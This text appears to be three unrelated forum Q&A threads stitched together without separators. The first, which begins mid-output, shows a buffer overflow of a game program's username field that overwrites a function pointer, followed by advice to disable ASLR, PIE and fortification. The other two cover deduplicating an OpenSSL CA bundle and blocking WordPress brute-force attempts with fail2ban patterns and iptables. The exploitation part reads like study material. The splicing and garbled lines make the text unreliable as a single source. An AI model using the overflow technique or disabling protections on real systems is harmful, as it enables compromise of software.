6 - Reset your acount at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
[You have 120 credits]

[DEBUG] current_game pointer @ 0x56630d9b
 0x56630a55

####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!

10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 8
Sorry, you didn't win.

You now have 110 credits
Would you like to play again? (y/n)  -=[ Game of Chance Menu  ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your acount at 100 credits
7 - Quit
cV]me: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[You have 110 credits]

Change user name
Enter your new name: Your name has been changed to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUVV-=[ Game of Chance Menu  ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your acount at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUVV]
[You have 110 credits]

[DEBUG] current_game pointer @ 0x56561a55
 0x56630a55
Segmentation fault (core dumped)

Per your post you can see that the instruction pointer contains your overwritten value. The problem is that the address is incorrect or doesn't contain the expected value.
Per my earlier comment, the answer may be found in the README in that repo. There are many additional counter measures in newer Linux and gcc. You either need to use the VM or weaken the security configuration of the machine you're using. You'll also need to make sure the compiled binary does not have ASLR, PIE or source fortification enabled.


How to Delete duplicates in CA Bundle Certificate File I do have a big CA bundle certificate file and each time if i get request to add new certificate to the existing bundle i need to make sure it is not present already. How i can validate the duplicates.

The alignment of the certificate within the bundle seems to be different.

Example:

Cert 1
MIIF7DCCBNSgAwIBAgIQbsx6pacDIAm4zrz06VLUkTANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE
BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO

Cert 2
MIIF7DCCBNSgAwIBAgIQbsx6pacDIAm4zrz06VLUkTANBgkqhkiG9w0BAQUFADCB
yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL

These are duplicates and since they are aligned differently i could not do an extract and compare.

Your suggestions and inputs are most welcome.

Although you didn't say so, I'll mostly assume openssl. Lots of software uses PEM format for certs (which is base64 as you showed PLUS the dashes-BEGIN and dashes-END lines, those ARE NEEDED), and quite a bit uses a file containing multiple PEM certs called a bundle, but AFAIK only openssl, and apps calling it, uses a PEM bundle file for trusted CAs.

For info, the length of the base64 lines differs because of following different standards. The PEM RFCs which first defined base64 said 64. The MIME RFCs which are now more widely used say 76.

Option 0: don't bother. An openssl "CAfile" works just fine with the same (CA) cert occurring more than once. It takes a little more memory, but on modern desktop (or higher) systems you probably can't even measure the effect of less than a few thousand extra certs.

Option 1: canonicalize. Filter each cert through openssl x509 with all defaults (which is copy, inform PEM, outform PEM) i.e. openssl x509 <oldfile >newfile. The result will consistently use 64-char breaks. As a bonus, you can specify -subject to add a (fairly) readable name at the beginning of the file -- which openssl or apps using it will ignore, but other apps might not.

But for both 0 and 1, if you have different certs for the same CA, such as an expired one and a renewal, or a broken one and a fix, which aren't duplicates by your definition, that will NOT work reliably; openssl to date (1.0.1) uses only the first cert found for a CA (issuer) name and AKI if available, which if you aren't careful is the wrong one. (1.0.2 is announced to have changes in cert chain validation, and I haven't looked at the details yet, so this may change.)

Option 2: use name hashes. Use the openssl "CApath" or "CAdir" method in addition, or instead: create a directory in which you put each CA cert as a file, and everytime you add one do c_rehash (on Unix, or Windows if you install perl, or else a BAT-ified equivalent). If your new cert and any existing one have the same hash of subject name you will get links (or names) with a suffix other than ".0". Two certs with the same subject hash e.g. abcdef01.0 and abcdef01.1 ALMOST certainly (not quite) have the same Subject i.e. CA name, but may or may not be the same cert; compare those specific files.

Note that having constructed a "CAdir" in this format, openssl commandline and at least many apps allow you to use it instead of "CAfile"; some even give the mostly-outdated advice that it's "more efficient" (in 1995 it made a difference, today it's probably 0.1 msec instead of 0.2 msec).

Other tools: if I've guessed wrong about openssl, you can do the canonicalize option by importing to and exporting back out from the Windows keystore, the Firefox keystore, or a java keystore. I expect Mac, Apple, and Android have similar capabilities but don't know them.

The first two have convenient (but tedious) GUIs; for Windows I believe there is still a commandline form but, typical for MS, they change it everytime you blink so I stopped trying to keep up. These also have the property, possibly bad or possibly good, that if you leave these certs in the truststore and don't delete them, your respective browsers (IE and maybe Chrome, or Firefox) will trust website certs from those CAs.

For java (assuming JRE in your PATH, else use pathname)

  keytool -keystore whatever [-alias x] -importcert -rfc -file certfile
  keytool -keystore whatever [-alias x] -exportcert -rfc -file newfile

or even easier: if you import and leave in one JKS all the same certs as your PEM bundle, each with a unique -alias you must specify, and you try to add another copy of a cert already in the JKS, it will warn you. It won't detect certs with the same CA, however.


Constant hack attempts for the past 2 days I notice an increase in my cpu for the last two days so I looked at my access_log and I have been constantly pinged by the ip 46.183.120.20.

46.183.120.20 - - [14/Mar/2017:14:11:46 +0000] "POST /wp-login.php HTTP/1.0" 403 221 "-" "-"

How do I block this? I have installed failtoban for Wordpress and also added the code below to my .htaccess but they are relentless 2 days now.

Order Deny,Allow
Deny from 46.183.120.20

my error_log is just constantly listing.

[Tue Mar 14 14:15:10.466203 2017] [access_compat:error] [pid 30090] [client 46.183.120.20:52003] AH01799: client denied by server configuration: /var/www/html/example.com/wp-login.php

Rotating through to the end of the ip :52003.

Any suggestion on how to stop this attack?

Ok so update I am trying to setup fail2ban i have installed the wp plugin and setup.

[wordpress-hard]

enabled = true
filter = wordpress-hard
logpath = /var/log/auth.log
maxretry = 3
port = http,https

If i look at my access_logs i am constantly getting hit with the following pings which is increasing my cpu.

POST /administrator/login HTTP/1.1" 404
GET /administrator/ HTTP/1.1" 404
POST /administrator/login HTTP/1.1" 404

Trying to find the best way to block these using fail2ban should my logpath be the path to my access_log file?

I am thinking about adding this filter but a bit nervous as i dont have any knowledge of fail2ban

failregex = .*:(80|443) <HOST> .*(GET|POST) .*/xmlrpc.php
            .*:(80|443) <HOST> .*(GET|POST) .*/wp-login.php
            .*:(80|443) <HOST> .*(GET|POST) /administrator/index.php
            .*:(80|443) <HOST> .*(GET|POST) /administrator/
            .*:(80|443) <HOST> .*(GET|POST) /administrator/login HTTP

When i run a test on the filter this runs for ages.

fail2ban-regex /var/log/httpd/access_log /etc/fail2ban/filter.d/wordpress-hard.conf

Matched time template Day/MONTH/Year:Hour:Minute:Second
Matched time template Day/MONTH/Year:Hour:Minute:Second
Matched time template Day/MONTH/Year:Hour:Minute:Second
Matched time template Day/MONTH/Year:Hour:Minute:Second
Matched time template Day/MONTH/Year:Hour:Minute:Second
Matched time template Day/MONTH/Year:Hour:Minute:Second
Matched time template Day/MONTH/Year:Hour:Minute:Second
Matched time template Day/MONTH/Year:Hour:Minute:Second

Would really appreciate any help or advice on this

Finally, manage to get it work with the following.

[block-all]
enabled = true
port = http,https
filter = block-all
logpath = /var/log/httpd/access_log
maxretry = 10 # number of requests made
findtime = 30 # time scale of those requests
bantime = 600 # ban time 10 minutes
action = iptables[name=HTTP, port=http, protocol=tcp]

And

[Definition]
failregex = ^<HOST> -.*"(GET|POST) .*/administrator
            ^<HOST> -.*"(GET|POST) .*/administrator/login/
ignoreregex =

restart service fail2ban

Not sure if this is good or bad but its working if i run the log file i can see lots of ips are being banned.

tail -f /var/log/fail2ban.conf

Best way is to drop this on the firewall itself, since the IP address 46.183.120.20 seems to be in Albania, the best way would be to drop it for a while. (Unless you have admins in Albania).

A simple:

iptables -A INPUT -s 46.183.120.20 -j DROP

Would probably discourage their brute force attempts, and you can add them then again later on.

Alternatively, let your fail2ban script drop them on the ifrewall, not adding it to .htaccess; you don't need your Apache webserver to handle this request that you don't wanna deal with anyway.